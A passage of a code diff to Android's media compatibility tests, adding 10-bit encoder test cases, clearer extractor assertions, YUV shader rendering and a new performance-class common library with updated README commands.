+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -38,6 +38,7 @@
 import java.util.HashMap;
 import java.util.List;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
 import static android.media.MediaCodecInfo.CodecProfileLevel.*;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -50,15 +51,17 @@
 @RunWith(Parameterized.class)
 public class EncoderProfileLevelTest extends CodecEncoderTestBase {
     private static final String LOG_TAG = EncoderProfileLevelTest.class.getSimpleName();
-    private static final HashMap<String, int[]> mProfileMap = new HashMap<>();
     private static final HashMap<String, Pair<int[], Integer>> mProfileLevelCdd = new HashMap<>();
 
+    private final boolean mUseHighBitDepth;
+
     private MediaFormat mConfigFormat;
     private MediaMuxer mMuxer;
 
     public EncoderProfileLevelTest(String encoder, String mime, int bitrate, int encoderInfo1,
-            int encoderInfo2, int frameRate) {
+            int encoderInfo2, int frameRate, boolean useHighBitDepth) {
         super(encoder, mime, new int[]{bitrate}, new int[]{encoderInfo1}, new int[]{encoderInfo2});
+        mUseHighBitDepth = useHighBitDepth;
         if (mIsAudio) {
             mSampleRate = encoderInfo1;
             mChannels = encoderInfo2;
@@ -71,7 +74,7 @@
         mConfigFormat = mFormats.get(0);
     }
 
-    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{2}_{3}_{4}_{6})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = true;
@@ -80,7 +83,6 @@
                 // Audio - CodecMime, bit-rate, sample rate, channel count
                 {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 48000, 1, -1},
                 {MediaFormat.MIMETYPE_AUDIO_AAC, 128000, 48000, 2, -1},
-
                 // Video - CodecMime, bit-rate, height, width, frame-rate
                 // TODO (b/151423508)
                 /*{MediaFormat.MIMETYPE_VIDEO_AVC, 64000, 176, 144, 15},
@@ -155,8 +157,7 @@
                 {MediaFormat.MIMETYPE_VIDEO_H263, 16384000, 720, 480, 60},
                 {MediaFormat.MIMETYPE_VIDEO_H263, 16384000, 720, 576, 50},
 
-                // TODO (b/151429828)
-                //{MediaFormat.MIMETYPE_VIDEO_HEVC, 128000, 176, 144, 15},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, 128000, 176, 144, 15},
                 {MediaFormat.MIMETYPE_VIDEO_HEVC, 1500000, 352, 288, 30},
                 // TODO (b/152576008) - Limit HEVC Encoder test to 512x512
                 {MediaFormat.MIMETYPE_VIDEO_HEVC, 3000000, 512, 512, 30},
@@ -188,44 +189,25 @@
                 {MediaFormat.MIMETYPE_VIDEO_VP8, 512000, 176, 144, 20},
                 {MediaFormat.MIMETYPE_VIDEO_VP8, 512000, 480, 360, 20},
         });
-        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
-    }
-
-    static {
-        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_AVC,
-                new int[]{AVCProfileBaseline, AVCProfileMain, AVCProfileExtended, AVCProfileHigh,
-                        AVCProfileHigh10, AVCProfileHigh422, AVCProfileHigh444,
-                        AVCProfileConstrainedBaseline, AVCProfileConstrainedHigh});
-        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                new int[]{HEVCProfileMain, HEVCProfileMain10, HEVCProfileMainStill,
-                          // TODO: test HDR profiles once they are supported by MediaMuxer
-                          /* HEVCProfileMain10HDR10, HEVCProfileMain10HDR10Plus */});
-        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_H263,
-                new int[]{H263ProfileBaseline, H263ProfileH320Coding,
-                        H263ProfileBackwardCompatible, H263ProfileISWV2, H263ProfileISWV3,
-                        H263ProfileHighCompression, H263ProfileInternet, H263ProfileInterlace,
-                        H263ProfileHighLatency});
-        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_MPEG2,
-                new int[]{MPEG2ProfileSimple, MPEG2ProfileMain, MPEG2Profile422, MPEG2ProfileSNR,
-                        MPEG2ProfileSpatial, MPEG2ProfileHigh});
-        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_MPEG4,
-                new int[]{MPEG4ProfileSimple, MPEG4ProfileSimpleScalable, MPEG4ProfileCore,
-                        MPEG4ProfileMain, MPEG4ProfileNbit, MPEG4ProfileScalableTexture,
-                        MPEG4ProfileSimpleFace, MPEG4ProfileSimpleFBA, MPEG4ProfileBasicAnimated,
-                        MPEG4ProfileHybrid, MPEG4ProfileAdvancedRealTime,
-                        MPEG4ProfileCoreScalable, MPEG4ProfileAdvancedCoding,
-                        MPEG4ProfileAdvancedCore, MPEG4ProfileAdvancedScalable,
-                        MPEG4ProfileAdvancedSimple});
-        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_VP8, new int[]{VP8ProfileMain});
-        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, new int[]{VP9Profile0, VP9Profile1});
-        mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_AV1,
-                new int[]{AV1ProfileMain8, AV1ProfileMain10,
-                          // TODO: test HDR profiles once they are supported by MediaMuxer
-                          /* AV1ProfileMain10HDR10, AV1ProfileMain10HDR10Plus */});
-        mProfileMap.put(MediaFormat.MIMETYPE_AUDIO_AAC,
-                new int[]{AACObjectMain, AACObjectLC, AACObjectSSR, AACObjectLTP, AACObjectHE,
-                        AACObjectScalable, AACObjectERLC, AACObjectERScalable, AACObjectLD,
-                        AACObjectELD, AACObjectXHE});
+        final List<Object[]> argsList = new ArrayList<>();
+        for (Object[] arg : exhaustiveArgsList) {
+            int argLength = exhaustiveArgsList.get(0).length;
+            Object[] testArgs = new Object[argLength + 1];
+            System.arraycopy(arg, 0, testArgs, 0, argLength);
+            testArgs[argLength] = false;
+            argsList.add(testArgs);
+            // P010 support was added in Android T, hence limit the following tests to Android T and
+            // above
+            if (IS_AT_LEAST_T) {
+                if (mProfileHdrMap.get(arg[0]) != null) {
+                    Object[] testArgsHighBitDepth = new Object[argLength + 1];
+                    System.arraycopy(arg, 0, testArgsHighBitDepth, 0, argLength);
+                    testArgsHighBitDepth[argLength] = true;
+                    argsList.add(testArgsHighBitDepth);
+                }
+            }
+        }
+        return prepareParamList(argsList, isEncoder, needAudio, needVideo, false);
     }
 
     static {
@@ -688,8 +670,26 @@
      */
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testValidateProfileLevel() throws IOException, InterruptedException {
-        int[] profiles = mProfileMap.get(mMime);
+        int[] profiles;
+        String inputTestFile = mInputFile;
+        MediaFormat format = mConfigFormat;
+        String outputFilePrefix = "tmp";
+        if (mIsAudio) {
+            profiles = mProfileMap.get(mMime);
+        } else {
+            if (mUseHighBitDepth) {
+                Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+                format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+                mBytesPerSample = 2;
+                inputTestFile = INPUT_VIDEO_FILE_HBD;
+                outputFilePrefix += "_10bit";
+                profiles = mProfileHlgMap.get(mMime);
+            } else {
+                profiles = mProfileSdrMap.get(mMime);
+            }
+        }
         assertTrue("no profile entry found for mime" + mMime, profiles != null);
+
         // cdd check initialization
         boolean cddSupportedMime = mProfileLevelCdd.get(mMime) != null;
         int[] profileCdd = new int[0];
@@ -699,11 +699,11 @@
             profileCdd = cddProfileLevel.first;
             levelCdd = cddProfileLevel.second;
         }
-        MediaFormat format = mConfigFormat;
         mOutputBuff = new OutputManager();
-        setUpSource(mInputFile);
+        setUpSource(inputTestFile);
         mSaveToMem = true;
-        String tempMuxedFile = File.createTempFile("tmp", ".out").getAbsolutePath();
+
+        String tempMuxedFile = File.createTempFile(outputFilePrefix, ".bin").getAbsolutePath();
         {
             mCodec = MediaCodec.createByCodecName(mCodecName);
             MediaCodecInfo.CodecCapabilities codecCapabilities =
@@ -749,6 +749,15 @@
                     }
                     continue;
                 }
+
+                // Verify that device supports decoding the encoded file
+                ArrayList<MediaFormat> formatList = new ArrayList<>();
+                formatList.add(format);
+                assertTrue("Device advertises support for encoding " +
+                                format.toString() + " but not decoding it",
+                        selectCodecs(mMime, formatList, null, false).size() > 0);
+                formatList.clear();
+
                 mOutputBuff.reset();
                 mInfoList.clear();
                 configureCodec(format, false, true, true);
diff --git a/tests/media/src/android/mediav2/cts/ExtractorTest.java b/tests/media/src/android/mediav2/cts/ExtractorTest.java
index b7840db..502a5ba 100644
--- a/tests/media/src/android/mediav2/cts/ExtractorTest.java
+++ b/tests/media/src/android/mediav2/cts/ExtractorTest.java
@@ -1612,26 +1612,38 @@
                     }
                 }
                 extractor.release();
-                assertTrue(format != null);
+                assertTrue("missing track format from file " +  file, format != null);
                 if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC)) {
-                    assertTrue(format.containsKey(MediaFormat.KEY_AAC_PROFILE) ||
+                    assertTrue("neither KEY_AAC_PROFILE nor KEY_PROFILE found in file " + file,
+                            format.containsKey(MediaFormat.KEY_AAC_PROFILE) ||
                             format.containsKey(MediaFormat.KEY_PROFILE));
                     if (format.containsKey(MediaFormat.KEY_AAC_PROFILE)) {
-                        assertEquals(mProfile, format.getInteger(MediaFormat.KEY_AAC_PROFILE));
+                        int profile = format.getInteger(MediaFormat.KEY_AAC_PROFILE, -1);
+                        assertEquals("mismatched KEY_AAC_PROFILE in file " + file,
+                                     mProfile, profile);
                     }
                     if (format.containsKey(MediaFormat.KEY_PROFILE)) {
-                        assertEquals(mProfile, format.getInteger(MediaFormat.KEY_PROFILE));
+                        int profile = format.getInteger(MediaFormat.KEY_PROFILE, -1);
+                        assertEquals("mismatched KEY_PROFILE in file " + file, mProfile, profile);
                     }
                 } else {
-                    assertEquals(mProfile, format.getInteger(MediaFormat.KEY_PROFILE));
-                    assertEquals(mLevel, format.getInteger(MediaFormat.KEY_LEVEL));
+                    int profile = format.getInteger(MediaFormat.KEY_PROFILE, -1);
+                    assertEquals("mismatched KEY_PROFILE in file " + file, mProfile, profile);
+                    int level = format.getInteger(MediaFormat.KEY_LEVEL, -1);
+                    assertEquals("mismatched KEY_LEVEL in file " + file, mLevel, level);
                 }
                 if (mMime.startsWith("audio/")) {
-                    assertEquals(mWR, format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
-                    assertEquals(mHCh, format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                    int sample_rate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE, -1);
+                    assertEquals("mismatched KEY_SAMPLE_RATE in file " + file,
+                                 mWR, sample_rate);
+                    int channel_count = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT, -1);
+                    assertEquals("mismatched KEY_CHANNEL_COUNT in file " + file,
+                                 mHCh, channel_count);
                 } else if (mMime.startsWith("video/")) {
-                    assertEquals(mWR, format.getInteger(MediaFormat.KEY_WIDTH));
-                    assertEquals(mHCh, format.getInteger(MediaFormat.KEY_HEIGHT));
+                    int width = format.getInteger(MediaFormat.KEY_WIDTH, -1);
+                    assertEquals("mismatched KEY_WIDTH in file " + file, mWR, width);
+                    int height = format.getInteger(MediaFormat.KEY_HEIGHT, -1);
+                    assertEquals("mismatched KEY_HEIGHT in file " + file, mHCh, height);
                 }
             }
         }
diff --git a/tests/media/src/android/mediav2/cts/MediaFormatUnitTest.java b/tests/media/src/android/mediav2/cts/MediaFormatUnitTest.java
new file mode 100644
index 0000000..6047f30
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/MediaFormatUnitTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.Timeout;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+
+import static org.junit.Assert.assertTrue;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MediaFormatUnitTest {
+    static final int PER_TEST_TIMEOUT_MS = 10000;
+
+    static {
+        System.loadLibrary("ctsmediav2utils_jni");
+    }
+
+    @Rule
+    public Timeout timeout = new Timeout(PER_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+
+    @Test
+    public void testMediaFormatNativeInt32() {
+        assertTrue(nativeTestMediaFormatInt32());
+    }
+
+    private native boolean nativeTestMediaFormatInt32();
+
+    @Test
+    public void testMediaFormatNativeInt64() {
+        assertTrue(nativeTestMediaFormatInt64());
+    }
+
+    private native boolean nativeTestMediaFormatInt64();
+
+    @Test
+    public void testMediaFormatNativeFloat() {
+        assertTrue(nativeTestMediaFormatFloat());
+    }
+
+    private native boolean nativeTestMediaFormatFloat();
+
+    @Test
+    public void testMediaFormatNativeDouble() {
+        assertTrue(nativeTestMediaFormatDouble());
+    }
+
+    private native boolean nativeTestMediaFormatDouble();
+
+    @Test
+    public void testMediaFormatNativeSize() {
+        assertTrue(nativeTestMediaFormatSize());
+    }
+
+    private native boolean nativeTestMediaFormatSize();
+
+    @Test
+    public void testMediaFormatNativeString() {
+        assertTrue(nativeTestMediaFormatString());
+    }
+
+    private native boolean nativeTestMediaFormatString();
+
+    @Test
+    public void testMediaFormatNativeRect() {
+        assertTrue(nativeTestMediaFormatRect());
+    }
+
+    private native boolean nativeTestMediaFormatRect();
+
+    @Test
+    public void testMediaFormatNativeBuffer() {
+        assertTrue(nativeTestMediaFormatBuffer());
+    }
+
+    private native boolean nativeTestMediaFormatBuffer();
+
+    @Test
+    public void testMediaFormatNativeAll() {
+        assertTrue(nativeTestMediaFormatAll());
+    }
+
+    private native boolean nativeTestMediaFormatAll();
+}
diff --git a/tests/media/src/android/mediav2/cts/OutputSurface.java b/tests/media/src/android/mediav2/cts/OutputSurface.java
index f62cde9..03856a2 100644
--- a/tests/media/src/android/mediav2/cts/OutputSurface.java
+++ b/tests/media/src/android/mediav2/cts/OutputSurface.java
@@ -64,15 +64,19 @@
      * EGL context and surface will be made current.  Creates a Surface that can be passed
      * to MediaCodec.configure().
      */
-    public OutputSurface(int width, int height) {
+    public OutputSurface(int width, int height, boolean useHighBitDepth) {
+        this(width, height, useHighBitDepth, /* useYuvSampling */ false);
+    }
+
+    public OutputSurface(int width, int height, boolean useHighBitDepth, boolean useYuvSampling) {
         if (width <= 0 || height <= 0) {
             throw new IllegalArgumentException();
         }
 
-        eglSetup(width, height);
+        eglSetup(width, height, useHighBitDepth, useYuvSampling);
         makeCurrent();
 
-        setup(this);
+        setup(this, useYuvSampling);
     }
 
     /**
@@ -80,23 +84,24 @@
      * new one).  Creates a Surface that can be passed to MediaCodec.configure().
      */
     public OutputSurface() {
-        setup(this);
+        setup(this, /* useYuvSampling */ false);
     }
 
     public OutputSurface(final SurfaceTexture.OnFrameAvailableListener listener) {
-        setup(listener);
+        setup(listener, /* useYuvSampling */ false);
     }
 
     /**
      * Creates instances of TextureRender and SurfaceTexture, and a Surface associated
      * with the SurfaceTexture.
      */
-    private void setup(SurfaceTexture.OnFrameAvailableListener listener) {
+    private void setup(SurfaceTexture.OnFrameAvailableListener listener, boolean useYuvSampling) {
         assertTrue(EGL14.eglGetCurrentContext() != EGL14.EGL_NO_CONTEXT);
         assertTrue(EGL14.eglGetCurrentDisplay() != EGL14.EGL_NO_DISPLAY);
         assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW) != EGL14.EGL_NO_SURFACE);
         assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_READ) != EGL14.EGL_NO_SURFACE);
         mTextureRender = new TextureRender();
+        mTextureRender.setUseYuvSampling(useYuvSampling);
         mTextureRender.surfaceCreated();
 
         // Even if we don't access the SurfaceTexture after the constructor returns, we
@@ -125,7 +130,7 @@
     /**
      * Prepares EGL.  We want a GLES 2.0 context and a surface that supports pbuffer.
      */
-    private void eglSetup(int width, int height) {
+    private void eglSetup(int width, int height, boolean useHighBitDepth, boolean useYuvSampling) {
         mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
         if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
             throw new RuntimeException("unable to get EGL14 display");
@@ -138,10 +143,13 @@
 
         // Configure EGL for pbuffer and OpenGL ES 2.0.  We want enough RGB bits
         // to be able to tell if the frame is reasonable.
+        int eglColorSize = useHighBitDepth ? 10: 8;
+        int eglAlphaSize = useHighBitDepth ? 2: 0;
         int[] attribList = {
-                EGL14.EGL_RED_SIZE, 8,
-                EGL14.EGL_GREEN_SIZE, 8,
-                EGL14.EGL_BLUE_SIZE, 8,
+                EGL14.EGL_RED_SIZE, eglColorSize,
+                EGL14.EGL_GREEN_SIZE, eglColorSize,
+                EGL14.EGL_BLUE_SIZE, eglColorSize,
+                EGL14.EGL_ALPHA_SIZE, eglAlphaSize,
                 EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
                 EGL14.EGL_SURFACE_TYPE, EGL14.EGL_PBUFFER_BIT,
                 EGL14.EGL_NONE
@@ -153,9 +161,10 @@
             throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
         }
 
-        // Configure context for OpenGL ES 2.0.
+        // Configure context for OpenGL ES 3.0/2.0.
+        int eglContextClientVersion = useYuvSampling ? 3: 2;
         int[] attrib_list = {
-                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
+                EGL14.EGL_CONTEXT_CLIENT_VERSION, eglContextClientVersion,
                 EGL14.EGL_NONE
         };
         mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
diff --git a/tests/media/src/android/mediav2/cts/TextureRender.java b/tests/media/src/android/mediav2/cts/TextureRender.java
index 4cda868..548ff03 100644
--- a/tests/media/src/android/mediav2/cts/TextureRender.java
+++ b/tests/media/src/android/mediav2/cts/TextureRender.java
@@ -49,7 +49,7 @@
 
     private FloatBuffer mTriangleVertices;
 
-    private static final String VERTEX_SHADER =
+    private static final String VERTEX_SHADER_RGB =
             "uniform mat4 uMVPMatrix;\n" +
             "uniform mat4 uSTMatrix;\n" +
             "attribute vec4 aPosition;\n" +
@@ -60,7 +60,7 @@
             "  vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
             "}\n";
 
-    private static final String FRAGMENT_SHADER =
+    private static final String FRAGMENT_SHADER_RGB =
             "#extension GL_OES_EGL_image_external : require\n" +
             "precision mediump float;\n" +      // highp here doesn't seem to matter
             "varying vec2 vTextureCoord;\n" +
@@ -69,6 +69,30 @@
             "  gl_FragColor = texture2D(sTexture, vTextureCoord);\n" +
             "}\n";
 
+    private static final String VERTEX_SHADER_YUV =
+            "#version 300 es\n" +
+            "uniform mat4 uMVPMatrix;\n" +
+            "uniform mat4 uSTMatrix;\n" +
+            "in vec4 aPosition;\n" +
+            "in vec4 aTextureCoord;\n" +
+            "out vec2 vTextureCoord;\n" +
+            "void main() {\n" +
+            "  gl_Position = uMVPMatrix * aPosition;\n" +
+            "  vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
+            "}\n";
+
+    private static final String FRAGMENT_SHADER_YUV =
+            "#version 300 es\n" +
+            "#extension GL_OES_EGL_image_external : require\n" +
+            "#extension GL_EXT_YUV_target : require\n" +
+            "precision mediump float;\n" +      // highp here doesn't seem to matter
+            "uniform __samplerExternal2DY2YEXT uTexSampler;\n" +
+            "in vec2 vTextureCoord;\n" +
+            "out vec4 outColor;\n" +
+            "void main() {\n" +
+            "    outColor = texture(uTexSampler, vTextureCoord);\n" +
+            "}\n";
+
     private float[] mMVPMatrix = new float[16];
     private float[] mSTMatrix = new float[16];
 
@@ -78,6 +102,7 @@
     private int muSTMatrixHandle;
     private int maPositionHandle;
     private int maTextureHandle;
+    private boolean mUseYuvSampling;
 
     public TextureRender() {
         mTriangleVertices = ByteBuffer.allocateDirect(
@@ -86,6 +111,11 @@
         mTriangleVertices.put(mTriangleVerticesData).position(0);
 
         Matrix.setIdentityM(mSTMatrix, 0);
+        mUseYuvSampling = false;
+    }
+
+    public void setUseYuvSampling(boolean useYuvSampling) {
+        mUseYuvSampling = useYuvSampling;
     }
 
     public int getTextureId() {
@@ -132,7 +162,11 @@
      * Initializes GL state.  Call this after the EGL surface has been created and made current.
      */
     public void surfaceCreated() {
-        mProgram = createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
+        if (mUseYuvSampling == false) {
+            mProgram = createProgram(VERTEX_SHADER_RGB, FRAGMENT_SHADER_RGB);
+        } else {
+            mProgram = createProgram(VERTEX_SHADER_YUV, FRAGMENT_SHADER_YUV);
+        }
         if (mProgram == 0) {
             throw new RuntimeException("failed creating program");
         }
@@ -183,7 +217,7 @@
      */
     public void changeFragmentShader(String fragmentShader) {
         GLES20.glDeleteProgram(mProgram);
-        mProgram = createProgram(VERTEX_SHADER, fragmentShader);
+        mProgram = createProgram(VERTEX_SHADER_RGB, fragmentShader);
         if (mProgram == 0) {
             throw new RuntimeException("failed creating program");
         }
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 698eb6b..774595c 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaV2TestCases-1.14/");
+            return (getTopDirString() + "test/CtsMediaV2TestCases-2.4/");
         }
     }
 }
diff --git a/tests/mediapc/Android.bp b/tests/mediapc/Android.bp
index dcfdb23..5de60d3 100644
--- a/tests/mediapc/Android.bp
+++ b/tests/mediapc/Android.bp
@@ -24,6 +24,7 @@
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "ctstestserver",
+        "MediaPerformanceClassCommon",
     ],
     libs: [
         "org.apache.http.legacy",
diff --git a/tests/mediapc/AndroidManifest.xml b/tests/mediapc/AndroidManifest.xml
index 20d030e..bbb1934 100644
--- a/tests/mediapc/AndroidManifest.xml
+++ b/tests/mediapc/AndroidManifest.xml
@@ -23,6 +23,8 @@
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.INTERNET" />
 
     <application
         android:requestLegacyExternalStorage="true"
diff --git a/tests/mediapc/AndroidTest.xml b/tests/mediapc/AndroidTest.xml
index ae6ea46..dc36e58 100644
--- a/tests/mediapc/AndroidTest.xml
+++ b/tests/mediapc/AndroidTest.xml
@@ -31,7 +31,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaPerformanceClassTestCases-1.1" />
+        <option name="media-folder-name" value="CtsMediaPerformanceClassTestCases-1.2" />
         <option name="dynamic-config-module" value="CtsMediaPerformanceClassTestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/mediapc/DynamicConfig.xml b/tests/mediapc/DynamicConfig.xml
index 973305e..d7ba901 100644
--- a/tests/mediapc/DynamicConfig.xml
+++ b/tests/mediapc/DynamicConfig.xml
@@ -1,6 +1,6 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/mediapc/CtsMediaPerformanceClassTestCases-1.1.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/mediapc/CtsMediaPerformanceClassTestCases-1.2.zip</value>
     </entry>
 </dynamicConfig>
 
diff --git a/tests/mediapc/README.md b/tests/mediapc/README.md
index 1cb0ec5..b2d0918 100644
--- a/tests/mediapc/README.md
+++ b/tests/mediapc/README.md
@@ -1,10 +1,22 @@
 ## Media Performance Class CTS Tests
 Current folder comprises of files necessary for testing media performance class.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/mediapc/CtsMediaPerformanceClassTestCases-1.1.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/mediapc/CtsMediaPerformanceClassTestCases-1.2.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
 
 ### Commands
+#### To run all tests in CtsMediaPerformanceClassTestCases
 ```sh
-$ atest android.mediapc.cts
-$ atest android.mediapc.cts.PeformanceClassTest
+$ atest CtsMediaPerformanceClassTestCases
+```
+#### To run a subset of tests in CtsMediaPerformanceClassTestCases
+```sh
+$ atest CtsMediaPerformanceClassTestCases:android.mediapc.cts.FrameDropTest
+```
+#### To run all tests in CtsMediaPerformanceClassTestCases by overriding Build.VERSION.MEDIA_PERFORMANCE_CLASS
+In some cases it might be useful to override Build.VERSION.MEDIA_PERFORMANCE_CLASS and run the tests.
+For eg: when the device doesn't advertise Build.VERSION.MEDIA_PERFORMANCE_CLASS, running the tests by overriding
+this will help in determining the which performance class requirements are met by the device.
+Following runs the tests by overriding Build.VERSION.MEDIA_PERFORMANCE_CLASS as S.
+```sh
+$ atest CtsMediaPerformanceClassTestCases -- --module-arg CtsMediaPerformanceClassTestCases:instrumentation-arg:media-performance-class:=31
 ```
diff --git a/tests/mediapc/common/Android.bp b/tests/mediapc/common/Android.bp
new file mode 100644
index 0000000..663dabc
--- /dev/null
+++ b/tests/mediapc/common/Android.bp
@@ -0,0 +1,46 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "MediaPerformanceClassCommon",
+    srcs: [
+        "src/**/*.java",
+    ],
+    libs: [
+        "compatibility-device-util-axt",
+        "android.test.base",
+        "auto_value_annotations",
+        "guava"
+    ],
+    plugins: ["auto_value_plugin"],
+}
+
+android_test {
+    name: "MediaPerformanceClassCommonTests",
+    compile_multilib: "both",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "MediaPerformanceClassCommon"
+    ],
+    platform_apis: true,
+    srcs: ["tests/src/**/*.java"],
+    test_suites: [
+        "general-tests",
+    ],
+    min_sdk_version: "30",
+}
diff --git a/tests/mediapc/common/AndroidManifest.xml b/tests/mediapc/common/AndroidManifest.xml
new file mode 100644
index 0000000..7d726e9
--- /dev/null
+++ b/tests/mediapc/common/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.mediapc.cts.common">
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.mediapc.cts.common"
+            android:label="tests for MediaPerformanceClassCommon" >
+    </instrumentation>
+</manifest>
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
new file mode 100644
index 0000000..e851d39
--- /dev/null
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
@@ -0,0 +1,1200 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the Licnse.
+ */
+
+package android.mediapc.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.media.MediaFormat;
+import android.os.Build;
+
+import com.google.common.base.Preconditions;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import org.junit.rules.TestName;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Logs a set of measurements and results for defined performance class requirements.
+ */
+public class PerformanceClassEvaluator {
